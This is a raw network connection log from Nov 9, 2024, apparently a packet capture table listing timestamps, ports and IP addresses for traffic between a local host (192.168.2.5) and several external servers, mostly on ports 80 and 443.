Nov 9, 2024 22:09:46.312252998 CET	49886	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.312257051 CET	443	49886	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.312504053 CET	49885	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.312504053 CET	49885	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.312529087 CET	443	49885	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.312541008 CET	443	49885	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.316230059 CET	49892	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.316272974 CET	443	49892	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.316461086 CET	49892	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.316713095 CET	49892	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.316732883 CET	443	49892	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.318077087 CET	49893	443	192.168.2.5	20.125.209.212
Nov 9, 2024 22:09:46.318104982 CET	443	49893	20.125.209.212	192.168.2.5
Nov 9, 2024 22:09:46.318306923 CET	49893	443	192.168.2.5	20.125.209.212
Nov 9, 2024 22:09:46.318711996 CET	49893	443	192.168.2.5	20.125.209.212
Nov 9, 2024 22:09:46.318726063 CET	443	49893	20.125.209.212	192.168.2.5
Nov 9, 2024 22:09:46.341594934 CET	443	49888	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.343473911 CET	49894	443	192.168.2.5	3.168.2.47
Nov 9, 2024 22:09:46.343503952 CET	443	49894	3.168.2.47	192.168.2.5
Nov 9, 2024 22:09:46.343589067 CET	49894	443	192.168.2.5	3.168.2.47
Nov 9, 2024 22:09:46.343744040 CET	49894	443	192.168.2.5	3.168.2.47
Nov 9, 2024 22:09:46.343759060 CET	443	49894	3.168.2.47	192.168.2.5
Nov 9, 2024 22:09:46.352101088 CET	49895	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:46.352117062 CET	443	49895	20.99.185.48	192.168.2.5
Nov 9, 2024 22:09:46.352297068 CET	49895	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:46.352503061 CET	49895	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:46.352515936 CET	443	49895	20.99.185.48	192.168.2.5
Nov 9, 2024 22:09:46.353008986 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.353081942 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.353144884 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.356316090 CET	443	49887	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.377063036 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.377104998 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.377118111 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.377150059 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.377199888 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.377228975 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.377242088 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.377253056 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.377265930 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.377276897 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.377300024 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.377593994 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.379904032 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.382563114 CET	49888	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.393944025 CET	443	49889	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.398679018 CET	49887	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.400190115 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:46.400213957 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:46.400257111 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:46.400283098 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:46.400314093 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:46.400331020 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:46.401853085 CET	49888	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.401869059 CET	443	49888	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.402318001 CET	49888	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.402323961 CET	443	49888	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.403120995 CET	49887	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.403132915 CET	443	49887	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.403498888 CET	49887	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.403505087 CET	443	49887	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.404649973 CET	49889	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.404670000 CET	443	49889	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.405052900 CET	49889	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.405057907 CET	443	49889	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.414820910 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.414917946 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.415033102 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.415045977 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.415085077 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.415096998 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.415098906 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.415107965 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.415112972 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.415118933 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.415132046 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.415133953 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.415209055 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.415340900 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.415465117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.415477037 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.415486097 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.415513039 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.415615082 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.415627956 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.415668011 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.415747881 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.415759087 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.415791035 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.415918112 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.415941954 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.416049957 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.416062117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.416073084 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.416105032 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.416130066 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.416254044 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.416306019 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.416342974 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.416383982 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.416414022 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.416426897 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.416465044 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.416481972 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.416497946 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.416660070 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.416671991 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.416682005 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.416695118 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.416697025 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.416719913 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.416757107 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.436461926 CET	443	49886	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.436485052 CET	443	49886	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.436556101 CET	49886	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.436582088 CET	443	49886	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.436841011 CET	443	49886	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.436892986 CET	49886	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.493725061 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.493787050 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.493799925 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.493818998 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.493849039 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.493916988 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.494029045 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.494041920 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.494088888 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.494236946 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.494250059 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.494281054 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.494312048 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.498796940 CET	49886	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.498814106 CET	443	49886	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.498821020 CET	49886	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.498826027 CET	443	49886	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.515731096 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:46.515758038 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:46.515850067 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:46.515878916 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:46.519877911 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:46.529778957 CET	443	49889	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.529855967 CET	443	49889	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.529937029 CET	49889	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.532191038 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.532236099 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.532248974 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.532308102 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.532494068 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.532505989 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.532516956 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.532527924 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.532553911 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.532571077 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.532911062 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.532922983 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.532934904 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.532948971 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.532959938 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.532960892 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.532994986 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.533453941 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.533466101 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.533477068 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.533488035 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.533499956 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.533507109 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.533512115 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.533523083 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.533529043 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.533535957 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.533548117 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.533567905 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.534297943 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.534311056 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.534328938 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.534342051 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.534344912 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.534353018 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.534365892 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.534379959 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.534379959 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.534425974 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.534425974 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.534786940 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.534797907 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.534811974 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.534831047 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.534842968 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.539393902 CET	443	49888	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.539537907 CET	443	49888	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.539650917 CET	49888	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.555341005 CET	443	49887	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.555366039 CET	443	49887	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.555442095 CET	443	49887	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.555531025 CET	49887	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.555531025 CET	49887	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.601790905 CET	49887	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.601818085 CET	443	49887	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.601980925 CET	49887	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.601989031 CET	443	49887	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.603962898 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:46.604008913 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:46.604041100 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:46.604053020 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:46.604082108 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:46.604109049 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:46.604784012 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:46.605004072 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:46.605019093 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:46.610513926 CET	49889	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.610531092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.610532045 CET	443	49889	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.610541105 CET	49889	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.610547066 CET	443	49889	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.610596895 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.610610008 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.610620975 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.610651970 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.611135006 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.611150980 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.611175060 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.611198902 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.611234903 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.611325979 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.611340046 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.611366034 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.611394882 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.611442089 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.611459017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.611507893 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.612168074 CET	49888	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.612195969 CET	443	49888	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.648967981 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.649075985 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.649086952 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.649090052 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.649142027 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.649179935 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.649192095 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.649202108 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.649209023 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.649239063 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.649265051 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.649568081 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.649580002 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.649590969 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.649600983 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.649621964 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.649657965 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.649889946 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.649902105 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.649912119 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.649945021 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.649971962 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.650140047 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.650151014 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.650166035 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.650191069 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.650217056 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.650423050 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.650434971 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.650468111 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.650495052 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.650599003 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.650612116 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.650652885 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.650772095 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.650818110 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.650849104 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.650866985 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.650878906 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.650891066 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.650902987 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.650922060 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.651283979 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.651299953 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.651309967 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.651340008 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.651359081 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.651526928 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.651566029 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.651571035 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.651583910 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.651608944 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.651638985 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.651870966 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.651993036 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.655494928 CET	49896	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.655530930 CET	443	49896	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.655642986 CET	49896	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.656287909 CET	49897	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.656322956 CET	443	49897	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.656410933 CET	49897	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.656781912 CET	49898	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.656793118 CET	443	49898	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.656862020 CET	49898	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.656903982 CET	49896	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.656914949 CET	443	49896	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.657001972 CET	49897	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.657021999 CET	443	49897	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.657072067 CET	49898	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.657094002 CET	443	49898	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.657778978 CET	49899	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.657792091 CET	443	49899	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.657859087 CET	49899	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.657977104 CET	49899	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:46.657989979 CET	443	49899	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:46.727547884 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.727569103 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.727581024 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.727617025 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.727658987 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.727716923 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.727740049 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.727751017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.727763891 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.727780104 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.727809906 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.728091002 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.728141069 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.765954971 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.766011953 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.766022921 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.766027927 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.766078949 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.766139984 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.766158104 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.766174078 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.766181946 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.766185999 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.766204119 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.766236067 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.766441107 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.766457081 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.766469955 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.766479969 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.766491890 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.766526937 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:46.766674042 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:46.766767979 CET	49813	80	192.168.2.5	185.215.113.206
